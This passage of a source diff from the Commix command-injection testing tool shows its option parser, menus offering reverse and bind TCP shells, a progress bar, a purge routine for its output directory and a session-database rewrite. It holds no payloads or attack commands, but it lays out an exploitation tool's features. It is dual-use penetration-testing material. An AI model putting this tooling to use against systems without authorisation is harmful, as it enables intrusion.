dest="shellshock", - default=False, - help="The 'shellshock' injection module.") - -# Injection options -injection = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Injection" + Style.RESET_ALL, - "These options can be used to specify which parameters to inject and to provide custom injection payloads.") - -injection.add_option("-p", - action="store", - dest="test_parameter", - help="Testable parameter(s).") - -injection.add_option("--skip", - action="store", - dest="skip_parameter", - help="Skip testing for given parameter(s).") - -injection.add_option("--suffix", - action="store", - dest="suffix", - help="Injection payload suffix string.") - -injection.add_option("--prefix", - action="store", - dest="prefix", - help="Injection payload prefix string.") - -injection.add_option("--technique", - action="store", - default="cetf", - dest="tech", - help="Specify injection technique(s) to use.") - -injection.add_option("--skip-technique", - action="store", - dest="skip_tech", - help="Specify injection technique(s) to skip.") - -injection.add_option("--maxlen", - action="store", - dest="maxlen", - default=settings.MAXLEN, - help="Set the max length of output for time-related injection techniques (Default: " + str(settings.MAXLEN) + " chars).") - -injection.add_option("--delay", - default=0, - action="store", - type="int", - dest="delay", - help="Seconds to delay between each HTTP request.") - -injection.add_option("--time-sec", - default=1, - action="store", - type="int", - dest="timesec", - help="Seconds to delay the OS response (Default 1).") - -injection.add_option("--tmp-path", - action="store", - dest="tmp_path", - default=False, - help="Set the absolute path of web server's temp directory.") - -injection.add_option("--web-root", - action="store", - dest="web_root", - default=False, - help="Set the web server document root directory (e.g. '/var/www').") - -injection.add_option("--alter-shell", - action="store", - dest="alter_shell", - default = "", - help="Use an alternative os-shell (e.g. 'Python').") - -injection.add_option("--os-cmd", - action="store", - dest="os_cmd", - default=False, - help="Execute a single operating system command.") - -injection.add_option("--os", - action="store", - dest="os", - default=False, - help="Force back-end operating system (e.g. 'Windows' or 'Unix').") - -injection.add_option("--tamper", - action="store", - dest="tamper", - default=False, - help="Use given script(s) for tampering injection data.") - -injection.add_option("--msf-path", - action="store", - dest="msf_path", - default=False, - help="Set a local path where metasploit is installed.") - -# Detection options -detection = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Detection" + Style.RESET_ALL, "These options can be " - "used to customize the detection phase.") - -detection.add_option("--level", - dest="level", - type="int", - default=1, - help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").") - -detection.add_option("--skip-calc", - action="store_true", - dest="skip_calc", - default=False, - help="Skip the mathematic calculation during the detection phase.") - -detection.add_option("--skip-empty", - action="store_true", - dest="skip_empty", - default=False, - help="Skip testing the parameter(s) with empty value(s).") - -detection.add_option("--failed-tries", - action="store", - type="int", - dest="failed_tries", - default=20, - help="Set a number of failed injection tries, in file-based technique.") - -# Miscellaneous options -misc = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Miscellaneous" + Style.RESET_ALL) - -misc.add_option("--dependencies", - action="store_true", - dest="noncore_dependencies", - default=False, - help="Check for third-party (non-core) dependencies.") - -misc.add_option("--list-tampers", - action="store_true", - dest="list_tampers", - default=False, - help="Display list of available tamper scripts") - -misc.add_option("--purge", - action="store_true", - dest="purge", - default=False, - help="Safely remove all content from commix data directory.") - -misc.add_option("--skip-waf", - action="store_true", - dest="skip_waf", - default=False, - help="Skip heuristic detection of WAF/IPS/IDS protection.") - -misc.add_option("--mobile", - action="store_true", - dest="mobile", - default=False, - help="Imitate smartphone through HTTP User-Agent header.") - -misc.add_option("--offline", - action="store_true", - dest="offline", - default=False, - help="Work in offline mode.") - -misc.add_option("--wizard", - action="store_true", - dest="wizard", - default=False, - help="Simple wizard interface for beginner users.") - -misc.add_option("--disable-coloring", - action="store_true", - dest="disable_coloring", - default=False, - help="Disable console output coloring.") - -parser.add_option_group(general) -parser.add_option_group(target) -parser.add_option_group(request) -parser.add_option_group(enumeration) -parser.add_option_group(file_access) -parser.add_option_group(modules) -parser.add_option_group(injection) -parser.add_option_group(detection) -parser.add_option_group(misc) - -""" -Dirty hack from sqlmap [1], to display longer options without breaking into two lines. -[1] https://github.com/sqlmapproject/sqlmap/blob/fdc8e664dff305aca19acf143c7767b9a7626881/lib/parse/cmdline.py -""" -def _(self, *args): - _ = parser.formatter._format_option_strings(*args) - if len(_) > settings.MAX_OPTION_LENGTH: - _ = ("%%.%ds.." % (settings.MAX_OPTION_LENGTH - parser.formatter.indent_increment)) % _ - return _ - -parser.formatter._format_option_strings = parser.formatter.format_option_strings -parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) - -option = parser.get_option("-h") -option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.") -(options, args) = parser.parse_args() - -# Checkall the banner -if not options.version: - banner() - -# argv input errors -settings.sys_argv_errors() - -""" -The "os_shell" available options. -""" -def os_shell_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use <Ctrl-C>) to quit commix. -Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. -Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection. -""") - -""" -The "reverse_tcp" available options. -""" -def reverse_tcp_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use <Ctrl-C>) to quit commix. -Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. -Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection. -""") - -""" -The "bind_tcp" available options. -""" -def bind_tcp_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use <Ctrl-C>) to quit commix. -Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. -Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. -""") - -""" -The available mobile user agents. -""" -def mobile_user_agents(): - print("""---[ """ + Style.BRIGHT + Fore.BLUE + """Available smartphones HTTP User-Agent headers""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8. -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7. -Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97. -Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel". -Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") - - while True: - question_msg = "Which smartphone do you want to imitate through HTTP User-Agent header? " - mobile_user_agent = _input(settings.print_question_msg(question_msg)) - try: - if int(mobile_user_agent) in range(0,len(settings.MOBILE_USER_AGENT_LIST)): - return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] - elif mobile_user_agent.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except ValueError: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -The tab compliter (shell options). -""" -def tab_completer(text, state): - set_options = [option.upper() for option in settings.SET_OPTIONS if option.startswith(text.upper())] - shell_options = [option for option in settings.SHELL_OPTIONS if option.startswith(text.lower())] - available_options = shell_options + set_options - try: - return available_options[state] - except IndexError: - return None - -""" -Check if enumeration options are enabled. -""" -def enumeration_options(): - if options.hostname or \ - options.current_user or \ - options.is_root or \ - options.is_admin or \ - options.sys_info or \ - options.users or \ - options.privileges or \ - options.passwords or \ - options.ps_version : - return True - -""" -Check if file access options are enabled. -""" -def file_access_options(): - if options.file_write or \ - options.file_upload or\ - options.file_read: - return True - -# eof diff --git a/src/utils/progress.py b/src/utils/progress.py new file mode 100644 index 0000000000..1f87491ba9 --- /dev/null +++ b/src/utils/progress.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import sys +import time +import shutil +from src.utils import settings + +""" +A bar counting off what has been retrieved, and how long the rest of it is expected to take. +""" +class ProgressBar(object): + + def __init__(self, maxvalue=10, width=None): + self._min = 0 + self._max = int(maxvalue) + self._span = max(self._max - self._min, 0.001) + self._width = width or progress_width() + self._amount = 0 + # Timed from here, so the first item retrieved already gives an estimate. + self._start = time.time() + self._eta = None + self._eta_at = None + self._bar = "[]" + self.update() + + # Seconds as the minutes and seconds they are shown in. + def _as_clock(self, value): + minutes = int(value) // 60 + seconds = int(value) - (minutes * 60) + return str(minutes).zfill(2) + ":" + str(seconds).zfill(2) + + # Redraw the bar itself, for what has been retrieved so far. + def update(self, amount=0): + self._amount = min(max(amount, self._min), self._max) + done = float(self._amount - self._min) + percent = min(100, int(round((done / float(self._span)) * 100.0))) + room = max(1, self._width - len("100% [] " + str(self._max) + "/" + str(self._max) + " (ETA 00:00)")) + hashes = int(round((percent / 100.0) * room)) + if hashes == 0: + self._bar = "[>" + (" " * (room - 1)) + "]" + elif hashes >= room: + self._bar = "[" + ("=" * room) + "]" + else: + self._bar = "[" + ("=" * (hashes - 1)) + ">" + (" " * (room - hashes)) + "]" + self._bar = str(percent) + "% " + self._bar + + """ + Redraw with an estimate for what is left: the time each retrieved item took, over the ones still + to come - eased into the estimate on screen, so a single slow character does not swing it. + """ + def progress(self, amount): + now = time.time() + if amount > self._max: + self._start = now + self._eta = None + done = amount - self._min + elapsed = now - self._start + target = (elapsed / done) * (self._max - amount) if (done > 0 and elapsed > 0) else None + if target is None: + self._eta = None + elif self._eta is None: + self._eta = target + else: + current = max(0, self._eta - (now - self._eta_at)) + self._eta = settings.ETA_DISPLAY_SMOOTHING * current + (1 - settings.ETA_DISPLAY_SMOOTHING) * target + self._eta_at = now + self.update(amount) + self.draw(self._eta) + + # Redraw with the estimate counted down by the time that has passed, for a wait between items. + def tick(self): + eta = None if self._eta is None else max(0, self._eta - (time.time() - self._eta_at)) + self.draw(eta) + + # Drawn only where there is a terminal to animate, and wiped once there is nothing left to count. + def draw(self, eta=None): + if not is_tty(): + return + settings.print_data_to_stdout("\r" + str(self._bar) + " " + str(self._amount) + "/" + str(self._max) + + " (ETA " + (self._as_clock(eta) if eta is not None else "??:??") + ")") + if self._amount >= self._max: + settings.print_data_to_stdout("\r" + (" " * self._width) + "\r") + # Wiped rather than ended, so what follows starts on this line instead of below a blank one. + settings.PROGRESS_LINE_OPEN = False + + def __str__(self): + return self._bar + +# Whether there is a terminal to draw on, rather than a file or a pipe being written to. +def is_tty(): + try: + return sys.stdout.isatty() + except Exception: + return False + +# The room the bar is given: what is left of the line once the counter and the estimate are on it. +def progress_width(): + try: + width = shutil.get_terminal_size().columns + except Exception: + width = settings.DEFAULT_CONSOLE_WIDTH + return max(settings.MIN_PROGRESS_WIDTH, width - 26) + +# eof diff --git a/src/utils/purge.py b/src/utils/purge.py index eda005530a..b163bbe220 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,41 +13,71 @@ For more see the file 'readme/COPYING' for copying permission. """ -""" -Based on "purge.py" script from sqlmap [1]. -[1] https://github.com/sqlmapproject/sqlmap/blob/master/lib/utils/purge.py -""" - import os -import sys import stat import random import shutil import string import functools -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.compat import xrange -from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.six.moves import urllib as _urllib + +""" +Safely removes (purges) output directory. With -u, scoped to just that target's subdirectory. +""" + +""" +Run one purge stage over the given paths, logging the debug message and +returning True if any path in the stage failed. +""" +def _purge_stage(debug_msg, paths, action): + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False + for path in paths: + try: + action(path) + except OSError: + failed = True + return failed + +""" +Random filename used when renaming files/directories to random values. +""" +def _random_name(): + return "".join(random.sample(string.ascii_letters, random.randint(4, 8))) + +""" +Overwrite a file's contents with random data of the same size. +""" +def _overwrite_with_random_data(path): + filesize = os.path.getsize(path) + with open(path, "w+b") as f: + f.write(os.urandom(filesize)) """ -Safely removes (purges) output directory. +Truncate a file to zero length. """ +def _truncate_file(path): + with open(path, 'w'): + pass +# Remove what this target's own output directory holds, and the directory with it. def purge(): directory = settings.OUTPUT_DIR + if menu.options.url: + host = _urllib.parse.urlparse(menu.options.url).netloc.replace(":", "_") + if host: + directory = os.path.join(directory, host) + directory = os.path.abspath(directory) if not os.path.isdir(directory): - warn_msg = "Skipping purging of directory '" + directory + "' as it does not exist." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return - info_msg = "Purging content of directory '" + directory + "'" - if not settings.VERBOSITY_LEVEL != 0: - info_msg += ". " - else: - info_msg += ".\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - + info_msg = "Purging contents of directory '" + directory + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Purging content of target directory. dir_paths = [] file_paths = [] @@ -55,115 +85,32 @@ def purge(): dir_paths.extend([os.path.abspath(os.path.join(rootpath, i)) for i in directories]) file_paths.extend([os.path.abspath(os.path.join(rootpath, i)) for i in filenames]) - # Changing file attributes. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Changing file attributes." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - failed = False - for file_path in file_paths: - try: - os.chmod(file_path, stat.S_IREAD | stat.S_IWRITE) - except: - failed = True - pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) - - # Writing random data to files. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Writing random data to files. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - failed = False - for file_path in file_paths: - try: - filesize = os.path.getsize(file_path) - with open(file_path, "w+b") as f: - f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize))) - except: - failed = True - pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) - - # Truncating files. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Truncating files." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - failed = False - for file_path in file_paths: - try: - with open(file_path, 'w') as f: - pass - except: - failed = True - pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) - - # Renaming filenames to random values. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Renaming filenames to random values." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - failed = False - for file_path in file_paths: - try: - os.rename(file_path, os.path.join(os.path.dirname(file_path), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) - except: - failed = True - pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) - - # Renaming directory names to random values. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Renaming directory names to random values." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - failed = False dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) - for dir_path in dir_paths: - try: - os.rename(dir_path, os.path.join(os.path.dirname(dir_path), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) - except: - failed = True - pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) - - # Deleting the whole directory tree. + + failed = _purge_stage("Changing file attributes.", file_paths, + lambda p: os.chmod(p, stat.S_IREAD | stat.S_IWRITE)) + + failed |= _purge_stage("Writing random data to files.", file_paths, _overwrite_with_random_data) + + failed |= _purge_stage("Truncating files.", file_paths, _truncate_file) + + failed |= _purge_stage("Renaming filenames to random values.", file_paths, + lambda p: os.rename(p, os.path.join(os.path.dirname(p), _random_name()))) + + failed |= _purge_stage("Renaming directory names to random values.", dir_paths, + lambda p: os.rename(p, os.path.join(os.path.dirname(p), _random_name()))) + + # Deleting the whole directory tree. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the whole directory tree." - sys.stdout.write(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - failed = False - os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) - except OSError as ex: - failed = True - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) + except OSError: + failed = True + + if failed: err_msg = "Problem occurred while removing directory '" + directory + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) -# eof \ No newline at end of file +# eof diff --git a/src/utils/requirments.py b/src/utils/requirements.py similarity index 67% rename from src/utils/requirments.py rename to src/utils/requirements.py index 1b3c3f13c2..f06ada026b 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirements.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -16,18 +16,17 @@ import subprocess """ -Check for requirments. +Check for requirements. """ -def do_check(requirment): +def do_check(requirement): try: - # Pipe output to the file path of the null device, for silence. - # i.e '/dev/null' for POSIX, 'nul' for Windows - null = open(os.devnull,"w") - subprocess.Popen(requirment, stdout=null, stderr=null) - null.close() + # Pipe output to the file path of the null device, for silence. + # i.e. '/dev/null' for POSIX, 'nul' for Windows + with open(os.devnull,"w") as null: + subprocess.Popen(requirement, stdout=null, stderr=null) return True except OSError: return False - -# eof \ No newline at end of file + +# eof diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index b0d8411aba..6e1530effa 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -14,439 +14,1115 @@ """ import os -import sys +import re import time import base64 +import json import sqlite3 -from src.utils import menu +import hashlib +import contextlib +from src.core.parse import cmdline as menu from src.utils import settings -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.controller import checks +from src.thirdparty.six.moves import urllib as _urllib """ -Session handler via SQLite3 db. +Open the session DB and always close it; retry after recreating a deleted directory. """ -no_such_table = False +@contextlib.contextmanager +def _session_connection(session_file=None): + if session_file is None: + session_file = settings.SESSION_FILE + conn = None + last_err = None + for attempt in range(5): + try: + session_dir = os.path.dirname(session_file) + if session_dir and not os.path.isdir(session_dir): + os.makedirs(session_dir, exist_ok=True) + conn = sqlite3.connect(session_file, timeout=10) + break + except sqlite3.OperationalError as err: + last_err = err + time.sleep(0.3 * (attempt + 1)) + if conn is None: + raise last_err + try: + yield conn + finally: + conn.close() + +""" +Split the URL and return only the base part without any query parameters. +""" +def split_url(url): + return url.split("?")[0] + +""" +The address a stored row was written with, up to its query, as SQL says it. + +Which is how a resumed run matches a stored point: the value under test is stood in for by a +placeholder made fresh every run, so the full address differs from one run to the next for the very +same point. +""" +URL_UP_TO_QUERY = "CASE WHEN instr(url, '?') > 0 THEN substr(url, 1, instr(url, '?') - 1) ELSE url END" + +""" +Escape SQL LIKE wildcard characters so they're matched literally. +""" +def escape_like(value): + return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_') + +""" +Check whether the given table exists in the session database. +""" +def table_exists(conn, table): + return conn.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)).fetchone() is not None + +""" +Return SHA1 hash of the given text (UTF-8 encoded). +Used for obfuscating hostnames in SQLite table names. +""" +def sha1_hash(text): + return hashlib.sha1(text.encode('utf-8')).hexdigest() + +""" +How a stored row is matched to a URL: the address without its query string, either stored as it is +or followed by one - so a row kept for '/abc' is not handed back for '/a'. +""" +def url_match(url): + base_url = split_url(url) + return "(url = ? OR url LIKE ? ESCAPE '\\')", (base_url, escape_like(base_url) + "?%") + +""" +Restore a value the session stored, unless this run was given one of its own on the command line - +what the user asked for now outranks what a previous run happened to be using. +""" +def restore_option(stored, applied, label, placeholder=None): + if not stored or stored == "None": + return None + # A value the previous run shortened to a placeholder of its own is that same value, written the + # way that run was sending it. The difference is commix's own doing, so there is nothing to report + # and nothing to restore: what was given now stands. + if placeholder and placeholder in stored: + return None + # What was stored carries the marker saying where the injection point is, and what is given now + # does not - so the two are compared by what they hold rather than by how they are written. + if applied and checks.remove_tags(applied) != checks.remove_tags(stored): + warn_msg = ("The stored session was found using the " + label + " '" + checks.remove_tags(stored) + "', which differs " + "from the one provided now ('" + applied + "'). Keeping the one provided now.") + say_once_about_session(warn_msg) + return None + return stored + +""" +Said once for the run. + +Every technique that resumes reads the same stored row back, so a single fact about that session +would otherwise be reported once per technique - four times over for a target that resumed four. +""" +def say_once_about_session(warn_msg): + if warn_msg in settings.REPLAY_NOTICES_SAID: + return + settings.REPLAY_NOTICES_SAID.add(warn_msg) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Say when a stored finding was made with something other than what this run was given. + +These are the values a replay cannot honour: the stored payload was built around them, so the one +given now would only appear to be in use. Announced and then left alone, rather than applied. +""" +def announce_replay_conflict(stored, applied, label, switch): + if not applied or str(applied) == str(stored): + return + warn_msg = ("The stored session was found using the " + label + " '" + str(stored) + "', which " + "differs from the '" + switch + "' value provided now ('" + str(applied) + "'). " + "Using the stored value to replay this technique consistently.") + say_once_about_session(warn_msg) + +""" +How a stored technique is selected today: the technique letter it is reached by, and whether it +reaches the evaluation sink. What was stored as its own technique letter is now a sink reached by +one of the others, so a finding kept under the old spelling still resumes under the new one. +""" +def technique_selection(technique_info, injection_type=None): + if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + return settings.EVAL_CAPABLE_TECHNIQUES[0], True + # Which sink was found is the stored type's to say: every other technique reaches either one. + return technique_letter(technique_info), stored_injection_type(injection_type) in settings.EVAL_INJECTION_TYPES + +""" +The type a stored finding is read back as: a spelling this version no longer writes is mapped to +the one that replaced it, so an older session reports what this run would have reported itself. +""" +def stored_injection_type(injection_type): + return settings.LEGACY_INJECTION_TYPES.get(injection_type, injection_type) + +""" +Map stored technique names to their "--technique" menu letters. +""" +def technique_letter(technique_info): + technique_info = settings.LEGACY_TECHNIQUE_NAMES.get(technique_info, technique_info) + if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + return technique_info.split()[2][0] + if technique_info == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + return settings.INJECTION_TECHNIQUE.FILE_BASED[0] + if technique_info in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.BOOLEAN_BASED, settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.FILE_BASED, settings.INJECTION_TECHNIQUE.OOB): + return technique_info[0] + return None """ -Generate table name for SQLite3 db. +Extract the host from a full URL string. +Example: from 'http://example.com/path' returns 'example.com' +""" +def get_host_from_url(url): + if '//' in url: + url = url.split('//', 1)[1] + return url.split('/', 1)[0] + +""" +Generate a SQLite table name based on the SHA1 hash of the URL's host. +This prevents leaking raw hostnames in session files and ensures +safe table names (hex digits only). """ def table_name(url): - host = url.split('//', 1)[1].split('/', 1)[0] - table_name = "session_" + host.replace(".","_").replace(":","_").replace("-","_").replace("[","_").replace("]","_") - return table_name + host = get_host_from_url(url) + # The layout stamp is hashed in with the host, so a table left by an earlier layout is not found. + hashed_host = sha1_hash(host + "|" + settings.SESSION_MILESTONE_VALUE) + # Prefix 'session_' to identify session-related tables + return "session_" + hashed_host """ -Ignore session. +Handle the scenario where the user requests to ignore any stored session data. +Logs debug or warning messages depending on session file presence. """ -def ignore(url): +def ignore(): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Ignoring the stored session from the session file due to '--ignore-session' switch." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Skipping ignoring the stored session, as the session file not exist." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "Skipping ignoring the stored session, as the session file does not exist." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Flush session. +Remove all stored session data by dropping every table in the session database file. +Logs progress and errors appropriately. """ -def flush(url): +def flush(): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Flushing the stored session from the session file." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - conn = sqlite3.connect(settings.SESSION_FILE) - tables = list(conn.execute("SELECT name FROM sqlite_master WHERE type is 'table'")) - conn.executescript(';'.join(["DROP TABLE IF EXISTS %s" %i for i in tables])) - conn.commit() - conn.close() - except sqlite3.OperationalError as err_msg: - print(settings.SINGLE_WHITESPACE) - err_msg = "Unable to flush the session file." + str(err_msg).title() - print(settings.print_critical_msg(err_msg)) + with _session_connection() as conn: + tables = [row[0] for row in conn.execute("SELECT name FROM sqlite_master WHERE type='table'")] + for table in tables: + conn.execute("DROP TABLE IF EXISTS " + table) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError) as err_msg: + err_msg = "Unable to flush the session file. " + str(err_msg) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Skipping flushing the stored session, as the session file not exist." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "Skipping flushing the stored session, as the session file does not exist." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Clear injection point records -except latest for every technique. +Remove every injection point record but the one a resumed run would use, for each address, +technique and place a point was found at. + +Grouped by the address up to its query rather than by the whole of it. The value under test is +stood in for by a placeholder made fresh every run, so the whole of it differs from one run to the +next for the same point: grouped on that, every row was a group of its own and this removed +nothing, leaving the table a row longer after every run that found the same point again. + +The latest is kept rather than the earliest. A resumed run reads these rows in order and keeps the +last of them, so that is the one it was already using - and it is the only one whose stored payload +was built with the options this session was given, an older row carrying whatever the run that +wrote it had been given instead. """ def clear(url): try: - if no_such_table: - conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("DELETE FROM " + table_name(url) + "_ip WHERE "\ - "id NOT IN (SELECT MAX(id) FROM " + \ - table_name(url) + "_ip GROUP BY technique);") + with _session_connection() as conn: + table = table_name(url) + "_ip" + + # Nothing to clear if the table hasn't been created yet. + if conn.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)).fetchone() is None: + return + + query = ("SELECT MAX(id) FROM \"" + table + "\" GROUP BY " + URL_UP_TO_QUERY + + ", technique, vuln_parameter, http_header;") + cursor = conn.execute(query) + + # Collect the ids to keep as strings + latest_ids = [str(row[0]) for row in cursor.fetchall()] + + # If no records found, nothing more to do + if not latest_ids: + return + + # Create a comma-separated string of ids to keep + ids_to_keep = ",".join(latest_ids) + + # Delete all records that do NOT have an id in the earliest_ids list + delete_query = "DELETE FROM \"" + table + "\" WHERE id NOT IN (" + ids_to_keep + ");" + conn.execute(delete_query) conn.commit() - conn.close() + except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) - except: - settings.LOAD_SESSION = False - return False + # Log 